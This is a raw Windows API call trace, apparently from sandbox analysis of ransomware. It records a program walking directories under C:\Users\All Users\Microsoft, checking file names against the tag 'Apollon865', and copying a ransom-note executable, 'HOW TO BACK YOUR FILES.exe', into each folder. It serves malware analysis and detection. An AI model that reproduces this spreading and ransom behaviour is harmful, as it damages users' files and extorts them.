	[0039.370] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile14.bmp" | out: lpString1="usertile14.bmp") returned="usertile14.bmp"
	[0039.370] lstrlenW (lpString="usertile14.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile14.bmp", lpString2="Apollon865") returned 1
	[0039.370] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile15.bmp" | out: lpString1="usertile15.bmp") returned="usertile15.bmp"
	[0039.370] lstrlenW (lpString="usertile15.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile15.bmp", lpString2="Apollon865") returned 1
	[0039.370] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile16.bmp" | out: lpString1="usertile16.bmp") returned="usertile16.bmp"
	[0039.370] lstrlenW (lpString="usertile16.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile16.bmp", lpString2="Apollon865") returned 1
	[0039.370] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile17.bmp" | out: lpString1="usertile17.bmp") returned="usertile17.bmp"
	[0039.370] lstrlenW (lpString="usertile17.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile17.bmp", lpString2="Apollon865") returned 1
	[0039.370] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile18.bmp" | out: lpString1="usertile18.bmp") returned="usertile18.bmp"
	[0039.370] lstrlenW (lpString="usertile18.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile18.bmp", lpString2="Apollon865") returned 1
	[0039.370] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile19.bmp" | out: lpString1="usertile19.bmp") returned="usertile19.bmp"
	[0039.370] lstrlenW (lpString="usertile19.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile19.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile20.bmp" | out: lpString1="usertile20.bmp") returned="usertile20.bmp"
	[0039.371] lstrlenW (lpString="usertile20.bmp") returned 14
	[0039.371] lstrlenW (lpString="Apollon865") returned 10
	[0039.371] lstrcmpiW (lpString1="tile20.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile21.bmp" | out: lpString1="usertile21.bmp") returned="usertile21.bmp"
	[0039.371] lstrlenW (lpString="usertile21.bmp") returned 14
	[0039.371] lstrlenW (lpString="Apollon865") returned 10
	[0039.371] lstrcmpiW (lpString1="tile21.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile22.bmp" | out: lpString1="usertile22.bmp") returned="usertile22.bmp"
	[0039.371] lstrlenW (lpString="usertile22.bmp") returned 14
	[0039.371] lstrlenW (lpString="Apollon865") returned 10
	[0039.371] lstrcmpiW (lpString1="tile22.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile23.bmp" | out: lpString1="usertile23.bmp") returned="usertile23.bmp"
	[0039.371] lstrlenW (lpString="usertile23.bmp") returned 14
	[0039.371] lstrlenW (lpString="Apollon865") returned 10
	[0039.371] lstrcmpiW (lpString1="tile23.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile24.bmp" | out: lpString1="usertile24.bmp") returned="usertile24.bmp"
	[0039.371] lstrlenW (lpString="usertile24.bmp") returned 14
	[0039.371] lstrlenW (lpString="Apollon865") returned 10
	[0039.371] lstrcmpiW (lpString1="tile24.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile25.bmp" | out: lpString1="usertile25.bmp") returned="usertile25.bmp"
	[0039.371] lstrlenW (lpString="usertile25.bmp") returned 14
	[0039.371] lstrlenW (lpString="Apollon865") returned 10
	[0039.371] lstrcmpiW (lpString1="tile25.bmp", lpString2="Apollon865") returned 1
	[0039.371] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile26.bmp" | out: lpString1="usertile26.bmp") returned="usertile26.bmp"
	[0039.372] lstrlenW (lpString="usertile26.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile26.bmp", lpString2="Apollon865") returned 1
	[0039.372] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile27.bmp" | out: lpString1="usertile27.bmp") returned="usertile27.bmp"
	[0039.372] lstrlenW (lpString="usertile27.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile27.bmp", lpString2="Apollon865") returned 1
	[0039.372] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile28.bmp" | out: lpString1="usertile28.bmp") returned="usertile28.bmp"
	[0039.372] lstrlenW (lpString="usertile28.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile28.bmp", lpString2="Apollon865") returned 1
	[0039.372] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile29.bmp" | out: lpString1="usertile29.bmp") returned="usertile29.bmp"
	[0039.372] lstrlenW (lpString="usertile29.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile29.bmp", lpString2="Apollon865") returned 1
	[0039.372] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile30.bmp" | out: lpString1="usertile30.bmp") returned="usertile30.bmp"
	[0039.372] lstrlenW (lpString="usertile30.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile30.bmp", lpString2="Apollon865") returned 1
	[0039.372] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile31.bmp" | out: lpString1="usertile31.bmp") returned="usertile31.bmp"
	[0039.372] lstrlenW (lpString="usertile31.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile31.bmp", lpString2="Apollon865") returned 1
	[0039.372] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile32.bmp" | out: lpString1="usertile32.bmp") returned="usertile32.bmp"
	[0039.372] lstrlenW (lpString="usertile32.bmp") returned 14
	[0039.372] lstrlenW (lpString="Apollon865") returned 10
	[0039.372] lstrcmpiW (lpString1="tile32.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile33.bmp" | out: lpString1="usertile33.bmp") returned="usertile33.bmp"
	[0039.373] lstrlenW (lpString="usertile33.bmp") returned 14
	[0039.373] lstrlenW (lpString="Apollon865") returned 10
	[0039.373] lstrcmpiW (lpString1="tile33.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile34.bmp" | out: lpString1="usertile34.bmp") returned="usertile34.bmp"
	[0039.373] lstrlenW (lpString="usertile34.bmp") returned 14
	[0039.373] lstrlenW (lpString="Apollon865") returned 10
	[0039.373] lstrcmpiW (lpString1="tile34.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile35.bmp" | out: lpString1="usertile35.bmp") returned="usertile35.bmp"
	[0039.373] lstrlenW (lpString="usertile35.bmp") returned 14
	[0039.373] lstrlenW (lpString="Apollon865") returned 10
	[0039.373] lstrcmpiW (lpString1="tile35.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile36.bmp" | out: lpString1="usertile36.bmp") returned="usertile36.bmp"
	[0039.373] lstrlenW (lpString="usertile36.bmp") returned 14
	[0039.373] lstrlenW (lpString="Apollon865") returned 10
	[0039.373] lstrcmpiW (lpString1="tile36.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile37.bmp" | out: lpString1="usertile37.bmp") returned="usertile37.bmp"
	[0039.373] lstrlenW (lpString="usertile37.bmp") returned 14
	[0039.373] lstrlenW (lpString="Apollon865") returned 10
	[0039.373] lstrcmpiW (lpString1="tile37.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile38.bmp" | out: lpString1="usertile38.bmp") returned="usertile38.bmp"
	[0039.373] lstrlenW (lpString="usertile38.bmp") returned 14
	[0039.373] lstrlenW (lpString="Apollon865") returned 10
	[0039.373] lstrcmpiW (lpString1="tile38.bmp", lpString2="Apollon865") returned 1
	[0039.373] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile39.bmp" | out: lpString1="usertile39.bmp") returned="usertile39.bmp"
	[0039.373] lstrlenW (lpString="usertile39.bmp") returned 14
	[0039.374] lstrlenW (lpString="Apollon865") returned 10
	[0039.374] lstrcmpiW (lpString1="tile39.bmp", lpString2="Apollon865") returned 1
	[0039.374] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile40.bmp" | out: lpString1="usertile40.bmp") returned="usertile40.bmp"
	[0039.374] lstrlenW (lpString="usertile40.bmp") returned 14
	[0039.374] lstrlenW (lpString="Apollon865") returned 10
	[0039.374] lstrcmpiW (lpString1="tile40.bmp", lpString2="Apollon865") returned 1
	[0039.374] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile41.bmp" | out: lpString1="usertile41.bmp") returned="usertile41.bmp"
	[0039.374] lstrlenW (lpString="usertile41.bmp") returned 14
	[0039.374] lstrlenW (lpString="Apollon865") returned 10
	[0039.374] lstrcmpiW (lpString1="tile41.bmp", lpString2="Apollon865") returned 1
	[0039.374] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile42.bmp" | out: lpString1="usertile42.bmp") returned="usertile42.bmp"
	[0039.374] lstrlenW (lpString="usertile42.bmp") returned 14
	[0039.374] lstrlenW (lpString="Apollon865") returned 10
	[0039.374] lstrcmpiW (lpString1="tile42.bmp", lpString2="Apollon865") returned 1
	[0039.374] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile43.bmp" | out: lpString1="usertile43.bmp") returned="usertile43.bmp"
	[0039.374] lstrlenW (lpString="usertile43.bmp") returned 14
	[0039.374] lstrlenW (lpString="Apollon865") returned 10
	[0039.374] lstrcmpiW (lpString1="tile43.bmp", lpString2="Apollon865") returned 1
	[0039.374] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile44.bmp" | out: lpString1="usertile44.bmp") returned="usertile44.bmp"
	[0039.374] lstrlenW (lpString="usertile44.bmp") returned 14
	[0039.374] lstrlenW (lpString="Apollon865") returned 10
	[0039.374] lstrcmpiW (lpString1="tile44.bmp", lpString2="Apollon865") returned 1
	[0039.374] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Search", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search"
	[0039.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be068 | out: hHeap=0x580000) returned 1
	[0039.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0039.374] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search") returned 35
	[0039.374] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Search" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search"
	[0039.375] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.379] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.379] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.380] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.380] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.380] lstrcpyW (in: lpString1=0x2d3e598, lpString2="Data" | out: lpString1="Data") returned="Data"
	[0039.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0039.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x598588
	[0039.380] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0039.380] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.380] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.380] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.380] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.380] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0039.380] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data"
	[0039.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598588 | out: hHeap=0x580000) returned 1
	[0039.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0039.380] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned 40
	[0039.380] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data"
	[0039.380] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.380] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.385] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.385] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.385] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.385] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.385] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Applications" | out: lpString1="Applications") returned="Applications"
	[0039.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0039.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0039.385] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0039.385] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.385] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.385] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0039.385] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.385] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0039.385] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications"
	[0039.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0039.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0039.386] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned 53
	[0039.386] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications"
	[0039.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.391] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.391] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.391] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.391] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.391] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\RAC", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC"
	[0039.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be018 | out: hHeap=0x580000) returned 1
	[0039.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0039.391] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC") returned 32
	[0039.391] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC"
	[0039.391] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.391] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.397] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.397] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.398] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.398] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.398] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Outbound" | out: lpString1="Outbound") returned="Outbound"
	[0039.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0039.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598588
	[0039.398] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0039.398] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d4062a0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1
	[0039.398] lstrcmpiW (lpString1="PublishedData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.398] lstrcmpiW (lpString1="PublishedData", lpString2="Apollon865.txt.exe") returned 1
	[0039.398] lstrcpyW (in: lpString1=0x2d3e592, lpString2="PublishedData" | out: lpString1="PublishedData") returned="PublishedData"
	[0039.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0039.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0039.398] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0039.398] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d4062a0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1
	[0039.398] lstrcmpiW (lpString1="StateData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.398] lstrcmpiW (lpString1="StateData", lpString2="Apollon865.txt.exe") returned 1
	[0039.398] lstrcpyW (in: lpString1=0x2d3e592, lpString2="StateData" | out: lpString1="StateData") returned="StateData"
	[0039.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0039.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5985e8
	[0039.398] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0039.398] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d510c40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d510c40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0039.398] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.398] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0039.398] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData"
	[0039.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5985e8 | out: hHeap=0x580000) returned 1
